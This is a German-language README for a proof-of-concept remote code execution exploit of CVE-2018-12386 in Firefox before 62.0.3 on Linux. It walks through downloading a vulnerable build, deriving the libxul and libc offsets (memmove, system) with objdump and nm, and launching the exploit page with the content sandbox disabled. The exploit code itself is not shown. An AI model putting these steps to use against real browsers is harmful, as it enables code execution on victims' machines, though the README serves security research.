
- CVE-2018-12386 - Firefox-Sandbox-RCE-Exploit für Linux (Firefox <v62.0.3)
Hier ist ein einfacher Exploit für die Schwachstelle CVE-2018-12386 gefunden von Niklas Baumstark, Samuel Groß und Bruno Keith.
Das ist größtenteils ein PoC, den ich zum Spaß erstellt habe. Es gibt keinen Sandbox-Bypass, und es funktioniert nur
auf einem bestimmten Linux-Setup, bei dem die vom Exploit verwendeten Offsets bereits
bekannt sind (sie können in exploit/offsets.js geändert werden).
Dieser Exploit funktioniert für Versionen vor Firefox 62.0.3 und Firefox ESR 60.2.2.
Du kannst frühere Firefox-Versionen direkt vom Mozilla-FTP-Server herunterladen: https://ftp.mozilla.org/pub/firefox/releases/
Du kannst zum Beispiel die Version 62.0.2 für 64-Bit-Linux verwenden: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.so-OffsetsWenn du Firefox 62.0.2 verwendest, sollten die in exploit/offsets.js angegebenen Offsets die richtigen sein.
Für andere Versionen ist es einfach, die addrof-Primitive zu verwenden, um die Adresse der JavaScript-Funktion Math.max zu leaken. Dann findest du die Basisadresse von libxul.so für die Firefox-Instanz, die du gerade ausnutzt (z. B. mit cat /proc/$(pidof firefox)/maps) und subtrahierst die beiden, um den libxul_math_max-Offset zu erhalten.
Wenn du Firefox 62.0.2 verwendest, sollten die in exploit/offsets.js angegebenen Offsets die richtigen sein.
Für andere Versionen ist es einfach, objdump zu verwenden.
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 ist der Wert, den du benötigst, also der Offset von memmove in libxul.so.
libc.so.6-OffsetsDiese Offsets hängen vollständig von der libc-Version ab, die du verwendest.
# libc.so.6 location
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
Sobald du Firefox und die richtigen Offsets hast, kannst du den Exploit testen, indem du den folgenden Befehl ausführst:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Wenn du Hallo sagen möchtest: @Asri3l